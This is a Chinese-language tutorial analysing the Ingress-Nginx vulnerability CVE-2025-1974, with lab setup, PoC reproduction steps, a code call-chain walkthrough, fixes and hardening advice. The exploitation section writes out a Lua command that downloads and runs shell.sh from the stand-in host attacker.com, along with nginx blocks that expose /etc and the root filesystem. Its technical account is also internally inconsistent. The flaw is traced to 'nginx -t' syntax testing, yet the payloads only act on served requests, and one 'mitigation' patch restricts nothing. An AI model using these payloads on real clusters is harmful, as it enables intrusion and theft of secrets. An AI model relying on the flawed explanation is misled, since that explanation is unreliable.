ingress nginx CVE-2025-1974 漏洞分析
字数 1468 2025-08-30 06:50:36
CVE-2025-1974 Ingress-Nginx 漏洞深度分析与教学文档
0x00 漏洞概述
CVE-2025-1974是Kubernetes Ingress-Nginx控制器中发现的一个高危安全漏洞,CVSS评分为9.8。该漏洞允许能够访问pod网络的未认证攻击者在Ingress-Nginx控制器上下文中执行任意代码,可能导致控制器可访问的所有集群范围内的Secrets被泄露。
影响版本
- ingress-nginx ≤ 1.11.4
- ingress-nginx = 1.12.0
漏洞本质
该漏洞源于Ingress-Nginx控制器在处理AdmissionReview请求时,对用户提供的Ingress资源配置缺乏充分验证,导致攻击者可以通过精心构造的恶意配置实现任意代码执行。
0x01 环境准备
1.1 所需工具
- Docker:容器运行时环境
- kubectl:Kubernetes命令行工具
- Minikube:本地单节点Kubernetes集群
1.2 安装步骤
kubectl安装
# Linux
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
sudo install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl
# macOS
brew install kubectl
Minikube安装
# Linux
curl -LO https://storage.googleapis.com/minikube/releases/latest/minikube-linux-amd64
sudo install minikube-linux-amd64 /usr/local/bin/minikube
# macOS
brew install minikube
解决root权限问题
sudo -E minikube start --driver=docker
国内镜像加速
minikube start --image-mirror-country=cn \
--image-repository=registry.cn-hangzhou.aliyuncs.com/google_containers \
--kubernetes-version=v1.23.3
1.3 Ingress-Nginx安装
- 下载受影响版本的部署文件:
wget https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.11.3/deploy/static/provider/baremetal/deploy.yaml
- 修改镜像源(针对国内环境):
sed -i 's/k8s.gcr.io/registry.cn-hangzhou.aliyuncs.com\/google_containers/g' deploy.yaml
- 部署Ingress-Nginx:
kubectl apply -f deploy.yaml
- 验证部署:
kubectl get pods -n ingress-nginx
0x02 漏洞复现
2.1 获取POC
git clone https://github.com/sandumjacob/IngressNightmare-POCs.git
cd IngressNightmare-POCs/CVE-2025-1974
2.2 端口映射
kubectl port-forward -n ingress-nginx svc/ingress-nginx-controller 8443:443
2.3 执行漏洞利用
curl -k -X POST -H "Content-Type: application/json" -d @poc.json https://localhost:8443/networking/v1/ingresses
2.4 POC分析
关键poc.json内容结构:
{
"apiVersion": "admission.k8s.io/v1",
"kind": "AdmissionReview",
"request": {
"uid": "12345",
"operation": "CREATE",
"object": {
"apiVersion": "networking.k8s.io/v1",
"kind": "Ingress",
"metadata": {
"name": "malicious-ingress",
"annotations": {
"nginx.ingress.kubernetes.io/configuration-snippet": "恶意配置"
}
},
"spec": {
"rules": [{
"host": "example.com",
"http": {
"paths": [{
"path": "/",
"pathType": "Prefix",
"backend": {
"service": {
"name": "dummy-service",
"port": {
"number": 80
}
}
}
}]
}
}]
}
}
}
}
0x03 漏洞原理分析
3.1 漏洞位置
漏洞主要存在于internal/ingress/controller/controller.go文件的CheckIngress方法中。
3.2 漏洞调用链
- CheckIngress方法:当创建/更新/删除Ingress资源时被调用
- testTemplate方法:将配置写入临时文件并测试语法
- n.command.Test:使用exec.Command执行nginx -t命令
3.3 关键代码片段
// internal/ingress/controller/controller.go
func (n *NGINXController) CheckIngress(ing *networking.Ingress) error {
// ...
err := n.testTemplate(content)
// ...
}
// internal/ingress/controller/nginx.go
func (n *NGINXController) testTemplate(content []byte) error {
tmpfile, err := ioutil.TempFile("", "nginx-cfg")
// ...
err = n.command.Test(tmpfile.Name())
// ...
}
// internal/ingress/controller/util.go
func (n *NGINXCommand) Test(filename string) error {
out, err := exec.Command(n.Binary, "-c", filename, "-t").CombinedOutput()
// ...
}
0x04 漏洞利用方式
4.1 通过Nginx配置实现RCE
反向代理暴露内部服务
location ~ ^/internal/(.*) {
proxy_pass http://127.0.0.1:$1;
}
执行恶意代码(CGI/SSI)
location /exec {
fastcgi_pass unix:/var/run/php-fpm.sock;
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME /tmp/malicious.php;
}
路径遍历与敏感文件窃取
location /secret {
alias /;
}
4.2 实际攻击示例
- 通过配置获取敏感信息:
location ~ ^/etc/(.*) {
alias /$1;
}
- 执行系统命令:
location /cmd {
content_by_lua_block {
os.execute("wget http://attacker.com/shell.sh -O /tmp/shell.sh && chmod +x /tmp/shell.sh && /tmp/shell.sh");
}
}
0x05 修复方案
5.1 官方修复
升级到以下版本:
- ingress-nginx ≥ 1.11.5
- ingress-nginx ≥ 1.12.1
5.2 临时缓解措施
- 限制validating-webhook端口的网络访问
kubectl patch svc ingress-nginx-controller -n ingress-nginx --type='json' -p='[{"op": "replace", "path": "/spec/ports/1", "value": {"name": "webhook", "port": 8443, "protocol": "TCP", "targetPort": "webhook"}}]'
- 配置网络策略限制访问
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: restrict-webhook-access
namespace: ingress-nginx
spec:
podSelector:
matchLabels:
app.kubernetes.io/name: ingress-nginx
ingress:
- from:
- namespaceSelector:
matchLabels:
name: kube-system
ports:
- protocol: TCP
port: 8443
0x06 防御建议
- 最小权限原则:限制Ingress-Nginx控制器的RBAC权限
- 网络隔离:使用NetworkPolicy限制Pod网络访问
- 审计日志:监控AdmissionReview请求
- 定期更新:保持Ingress-Nginx控制器为最新版本
- 配置检查:定期审计Ingress资源配置
0x07 总结
CVE-2025-1974展示了Kubernetes生态系统中Ingress控制器的潜在安全风险,特别是当控制器具有高权限时。该漏洞的利用需要攻击者能够访问Pod网络,但在云原生环境中,这种访问可能比传统网络环境更容易获得。
通过深入分析该漏洞,我们可以学到:
- Kubernetes准入控制机制的安全重要性
- 配置验证过程中的潜在风险点
- 容器网络隔离的必要性
- 最小权限原则在云原生安全中的关键作用
建议所有使用Ingress-Nginx的组织尽快评估风险并采取适当的修复措施。